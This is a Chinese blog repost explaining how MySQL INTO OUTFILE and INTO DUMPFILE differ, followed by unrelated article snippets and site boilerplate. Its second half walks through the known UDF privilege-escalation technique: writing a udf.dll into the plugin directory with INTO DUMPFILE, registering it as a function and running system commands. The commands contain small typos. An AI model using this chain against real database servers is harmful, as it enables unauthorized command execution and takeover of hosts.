当前位置:   article > 正文

dumpfile mysql_mysql dumpfile与outfile函数的区别

outfile和dumpfile

一直以为两个函数作用是相同的

经过简单测试发现还是有些区别的

如下表admin

mysql> select * from admin;

+-----+-----------+---------+

| uid | name      | pass    |

+----+------------+---------+

|  1 | admin      | baidusb |

|  2 | root          | hacksb  |

|  3 | manage    | nimei    |

|  4 | boss         | helensb |

|  5 | guanli       | admin   |

|  6 | superuser  | G0Ood   |

+----+------------+---------+

mysql> select * from admin into outfile '/home/seclab/test/test1.txt';

Query OK,1 row affected (0.00 sec)

我是想将这些内容 导出到 一个txt文件,事实上是可以完整导出每行记录的.

这个很适合导库

而into dump是不行的 它只能导出 一行数据!

若我们想把一个 可执行2进制 文件用into outfile函数导出

事实上 导出后 就会被破坏

因为into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符

这样的话这个2进制可执行 文件 就会被破坏

这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件

into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理

如在无web脚本 执行 但是有mysql root 执行的环境下 我们就可以 通过

into dump 函数导入udf.dll进行提权

mysql> show variable like '%plugin%';

+----------------+------------------------------------------+

|Variable_name   | Value                                    |

+----------------+------------------------------------------+

| plugin_dir     |c:\mysql\mysql server 5.1\lib/plugin      |

+----------------+------------------------------------------+

mysql> select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';

mysql> select * from func; #查看是否有人创建过udf 如果有就可以省略

mysql> create function MyCmd returns string soname ''c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';

mysql> select MyCmd('whoam');

一点小知识点:

如何获取该udf.dll文件的16进制值(hex)?

我们可以本地搭建mysql环境 找个可以用的udf.dll文件 执行下面操作

mysql> select hex(load_file ('c:/windows/temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';

如何获取该udf插件的内置 函数?

通过C32 等16进制 编辑器 或直接通过记事本 打开 看关键字 即可。

MySQL存储过程与存储函数的区别

语法定义上的区别就不说了,说一下其他的.如果有不正确的地方,还请大家指正. 1.总述存储函数和存储过程统称为存储例程(stored routine).两者的定义语法很相似,但却是不同的内容.存储函数限 ...

MySQL存储过程/存储过程与自定义函数的区别

语法: 创建存储过程: CREATE [definer = {user|current_user}] PROCEDURE sp_name ([ proc_parameter [,proc_parame ...

(转)MySQL存储过程/存储过程与自定义函数的区别

转自:http://www.cnblogs.com/caoruiy/p/4486249.html 语法: 创建存储过程: CREATE [definer = {user|current_user}]  ...

日期时间函数 mysql 和sqlserver 中对于常用函数的日期和时间函数的区别

1. sqlserver中获取时间用getdate(),默认返回格式是2019-01-21 13:58:33.053,具体的年月日,时分秒毫米,年月日之间用短线连接,时分秒之间用冒号连接,秒和毫米之间 ...

MySQL中SYSDATE()和NOW()函数的区别和联系

MySQL中有5个函数需要计算当前时间的值: NOW.返回时间,格式如:2012-09-23 06:48:28 CURDATE,返回时间的日期,格式如:2012-09-23 CURTIME,返回时间, ...

【存储过程】MySQL存储过程/存储过程与自定义函数的区别

---------------------------存储过程-------------------- 语法: 创建存储过程: CREATE [definer = {user|current_user ...

MySQL存储过程和自定义函数、Navicat for mysql、创建存储过程和函数、调用存储过程和函数的区别

1 MySQL存储过程和函数 过程和函数,它们被编译后保存在数据库中,称为持久性存储模块(Persistent Stored Module,PSM),可以反复调用,运行速度快. 1.1 存储过程 存储 ...

mysql 存储过程和存储函数

14.1.1 创建存储过程 MySQL中,创建存储过程的基本形式如下: CREATE PROCEDURE sp_name ([proc_parameter[,...]]) [characteristi ...

用count(*)还是count(列名) || Mysql中的count()与sum()区别

Mysql中的count()与sum()区别   首先创建个表说明问题 CREATE TABLE `result` (   `name` varchar(20) default NULL,   `su ...

随机推荐

【hihoCoder】1148:2月29日

问题:http://hihocoder.com/problemset/problem/1148 给定两个日期,计算这两个日期之间有多少个2月29日(包括起始日期). 思路: 1. 将问题转换成求两个日 ...

Linux下mongodb的安装及启动

安装 1>设置mongoDB目录 cd /home/apps 附:centOS下创建目录命令  mkdir /home/apps 2>下载mongodb curl -O http://fa ...

Linux shell的标准输入、输出和错误

编译文件时,若编译过程时间长,可以将  标准错误  重定向  输出到一个文件中   2 > 1.txt         也可以通过管道  重定向 到 标准输出    2 > &1 ...

跨代的对决 英特尔i7-6700HQ对比i7-4720HQ性能测试

http://itianti.sinaapp.com/index.php/cpu 跨代的对决 英特尔i7-6700HQ对比i7-4720HQ性能测试 2015-10-13 19:46:31 来源:电脑 ...

html+css布局小练习w3cfuns

虽然花了很长时间,但是也知道了不少,这次也不像以前了,不知道怎么下手,虽然是照着图片做,不过也做出来了图片来自w3cfuns:网站图片url  看了w3cfuns的两天驾驭DIV+CSS 这个网站对新 ...

js引用类型数组去重-对象标记法

前言 Js数组去重已经有很多种实现方式:包括逐个检索对比(使用Array.property.indexOf),先排序后对比,使用hash表,利用ES6中的Set()等.这些数组去重办法中速度最快的是h ...

PHP常用函数集合

PHP常用函数总结 数学函数 1.abs(): 求绝对值 $abs = abs(-4.2); //4.2 数字绝对值数字 2.ceil(): 进一法取整 echo ceil(9.999); // 10 ...

我的第一个python web开发框架(29)——定制ORM(五)

接下来我们要封装的是修改记录模块. 先上产品信息编辑接口代码 @put('/api/product//') def callback(id): ""&q ...

it入门之:学会使用Git 分布式版本控制工具

环境:window 工具:git & TortoiseGit 下载安装以及配置环境变量 :略略略 创建Github账户:登录https://github.com/用自己的常用邮箱创建账户,用来 ...

exadata cellcli

cellcli [port_number] [-n] [-m] [-xml] [-v | -vv | -vvv] [-x] [-e command] The following table lists ...

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/432879
推荐阅读
相关标签
  

闽ICP备14008679号